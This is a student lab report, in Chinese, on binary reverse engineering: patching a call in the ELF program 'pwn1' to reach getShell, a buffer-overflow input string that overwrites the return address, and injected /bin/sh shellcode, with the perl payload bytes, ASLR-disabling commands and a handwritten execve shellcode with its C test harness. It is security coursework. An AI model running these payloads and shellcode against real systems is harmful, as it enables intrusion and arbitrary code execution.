2017-2018-2 20155303『網絡對抗技術』Exp1:PC平臺逆向破解

2017-2018-2 『網絡對抗技術』Exp1:PC平臺逆向破解

————————CONTENTS————————


1. 逆向及Bof基礎實踐說明

1.1 實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。html

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。linux

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。git

  • 三個實踐內容以下:
    • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
    • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
    • 注入一個本身製做的shellcode並運行這段shellcode。
  • 這幾種思路,基本表明現實狀況中的攻擊目標:
    • 運行本來不可訪問的代碼片斷
    • 強行修改程序執行流
    • 以及注入運行任意代碼。

1.2 基礎知識

  • NOP, JNE, JE, JMP, CMP彙編指令的機器碼
    • NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
    • JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)
    • JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
    • JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB) 段內直接近轉移Jmp near(機器碼:E9) 段內間接轉移 Jmp word(機器碼:FF) 段間直接(遠)轉移Jmp far(機器碼:EA)
    • CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。
  • 經常使用的Linux基本操做
    • objdump -d:從objfile中反彙編那些特定指令機器碼的section。
    • perl -e:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。
    • xxd:爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。
    • ps -ef:顯示全部進程,並顯示每一個進程的UID,PPIP,C與STIME欄位。
    • |:管道,將前者的輸出做爲後者的輸入。
    • >:輸入輸出重定向符,將前者輸出的內容輸入到後者中。

返回目錄shell


2. 直接修改程序機器指令,改變程序執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
  • 學習目標:理解可執行文件與機器指令
  • 進階:掌握ELF文件格式,掌握動態技術

使用objdump -d pwn1將pwn1反彙編,獲得如下代碼(只展現部分核心代碼):編程

咱們注意到,80484b5: e8 d7 ff ff ff call 8048491 <foo>這條彙編指令,在main函數中調用位於地址8048491處的foo函數,e8表示「call」,即跳轉。windows

若是咱們想讓函數調用getShell,只須要修改d7 ff ff ff便可。根據foo函數與getShell地址的偏移量,咱們計算出應該改成c3 ff ff ff數組

修改的具體步驟以下:安全

  1. vi pwn1進入命令模式
  2. 輸入:%!xxd將顯示模式切換爲十六進制
  3. 在底行模式輸入/e8d7定位須要修改的地方,並確認
  4. 進入插入模式,修改d7爲c3
  5. 輸入:%!xxd -r將十六進制轉換爲原格式
  6. 使用:wq保存並退出

反彙編查看修改後的代碼,發現call指令正確調用getShell:網絡

運行修改後的代碼,能夠獲得shell提示符:dom

返回目錄


3. 經過構造輸入參數,形成BOF攻擊,改變程序執行流

  • 知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術

與上一個任務相似,首先須要進行反彙編,以瞭解程序的基本功能。具體過程再也不贅述。

該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞。讀入字符串時,系統只預留了必定字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址。

嘗試發現,當輸入爲如下字符時已經發生段錯誤,產生溢出:

使用gdb進行調試:

注意到eip的值爲ASCII的5,即在輸入字符串的「5」的部分發生溢出。將「5」的部分改成其餘數字進一步確認:

由此能夠看到,若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。

由反彙編結果可知getShell的內存地址爲:0804847d

對比以前 eip 0x34333231 0x34333231 ,正確輸入爲 11111111222222223333333344444444\x7d\x84\x04\x08

接下來須要生成一個包含這樣字符串的文件,來構造輸入值。

Perl是一門解釋型語言,不須要預編譯,能夠在命令行上直接使用。 使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令構造文件。

使用十六進制查看指令xxd查看input文件是否符合預期。因爲kali系統採用的是大端法,因此構造內存地址時注意順序,末尾的\0a表示回車換行:

而後將input的輸入,經過管道符「|」,做爲pwn1的輸入。:

返回目錄


4. 注入Shellcode並執行

  • shellcode就是一段機器指令(code)
    • 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
    • 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。

首先使用apt-get install execstack命令安裝execstack。

修改如下設置:

root@KaliYL:~# execstack -s pwn1    //設置堆棧可執行
root@KaliYL:~# execstack -q pwn1    //查詢文件的堆棧是否可執行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

咱們選擇retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1):

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

接下來肯定\x4\x3\x2\x1部分到底須要填什麼

打開一個終端注入這段攻擊buf,在另外一個終端查看pwn1這個進程,發現進程號爲4854。

啓動gdb調試這個進程:

經過設置斷點,來查看注入buf的內存地址:

使用break *0x080484ae設置斷點,並輸入c繼續運行。在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp查找地址。

使用x/16x 0xffffd33c查看其存放內容,看到了01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址是 0xffffd340。

接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可:

再執行程序,攻擊成功:

返回目錄


5. 實驗中遇到的問題及思考

  • 『問題1:ELF文件具備什麼樣的格式?』

一個典型的ELF可重定位目標文件以下圖所示:

各節含義以下:

含義
.text 已編譯程序的機器代碼
.rodata 只讀數據,如pintf和switch語句中的字符串和常量值
.data 已初始化的全局變量
.bss 未初始化的全局變量
.symtab 符號表,存放在程序中被定義和引用的函數和全局變量的信息
.rel.text 當連接器吧這個目標文件和其餘文件結合時,.text節中的信息需修改
.rel.data 被模塊定義和引用的任何全局變量的信息
.debug 一個調試符號表
.line 原始C程序的行號和.text節中機器指令之間的映射
.strtab 一個字符串表,其內容包含.systab和.debug節中的符號表

對於static類型的變量,gcc編譯器在.data和.bss中爲每一個定義分配空間,並在.symtab節中建立一個有惟一名字的本地連接器符號。對於malloc而來的變量存儲在堆(heap)中,局部變量都存儲在棧(stack)中。

如下面這個程序爲例,來驗證變量是如何存儲的:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
 
int z = 9;
int a;
static int b =10;
static int c;
void swap(int* x,int* y)
{
    int temp;
    temp=*x;
    *x=*y;
    *y=temp;
}  
 
int main()
{
    int x=4,y=5;
    swap(&x,&y);
    printf(「x=%d,y=%d,z=%d,w=%d/n」,x,y,z,b);
    return 0;
}

使用objdump -S var.o查看C源程序的彙編代碼能夠發現,z和b在.data段,main和swap在.text段,a和c在.bss段,x,y,temp在stack中,printf函數所打印的字符串在.rodata中。

  • 『問題2:如何編寫Linux shellcode?』

教程中提到,shellcode就是一段機器指令(code),一般這段機器指令的目的是爲獲取一個交互式的shell。在許多狀況下,標準的shellcode可能沒法知足特定的任務,所以須要建立本身的shellcode。

shellcode的編寫方式主要有如下三種:

  • 直接編寫十六進制操做碼;
  • 使用如C語言等高級語言編寫程序,而後進行編譯並反彙編,以獲取彙編指令及十六進制操做碼;
  • 編寫彙編程序,將該程序彙編,而後從二進制中提取十六進制操做碼。

不管使用哪一種方法,都須要瞭解像read、write和execute等這種底層內核函數。因爲這些系統函數都是在內核級執行的,所以還須要有關用戶進程如何與內核進行通訊的知識。這部份內容上學期已在婁老師的《信息安全系統設計基礎》課程中完成了學習(附:進程與fork()、wait()、exec函數組),所以較易理解。

下面根據查閱的一些資料,嘗試利用execve建立shellcode。

編寫一個簡單的程序:

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

注意:execve 是 Unix/Linux下exec函數,Linux通常是用fork建立新進程,用exec來執行新的程序。exec有六個函數,其中只有execve是系統調用,其它五個exec函數最後都要調用execve。

以上程序編譯運行能夠獲得一個shell,這個在上學期的課程中已經學習過了。接下來使用gcc -o shellcode shellcode.c將上面的代碼進行編譯,而後使用objdump -d shellcode > shellcode.s反彙編。獲得的反彙編代碼(main部分)以下:

參考以上反彙編代碼,用匯編語言重寫上面的shellcode.c,並保存爲scode.s:

編譯:  as -o scode.o scode.s 
鏈接:  ld -o scode scode.o
提取二進制機器碼:    objdump -d scode

紅色標註部分即爲shellcode的代碼:

爲:\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

最後用C語言寫一個測試shellcode的程序:

#include <stdio.h>

unsigned char code[] =  "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
                        "\x83\xec\x20\x48\x89\x4d\xf0\x48"
                        "\xc7\x45\xf8\x00\x00\x00\x00\xba"
                        "\x00\x00\x00\x00\x48\x8d\x75\xf0"
                        "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
                        "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
                        "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
; /*  code 就是咱們上面構造的 shellcode */

void main(int argc, char *argv[])
{
    long *ret;
    ret = (long *)&ret + 2;
    (*ret) = (long)code;
}

因爲系統設置了堆棧運行保護,gcc編譯時須要使用參數:-fno-stack-protector -z execstack。查看運行結果:

Done!

目前嘗試的shellcode還有很大的侷限性,好比堆棧保護等。能不能繞過這些保護呢?

返回目錄


附:參考資料

相關文章
相關標籤/搜索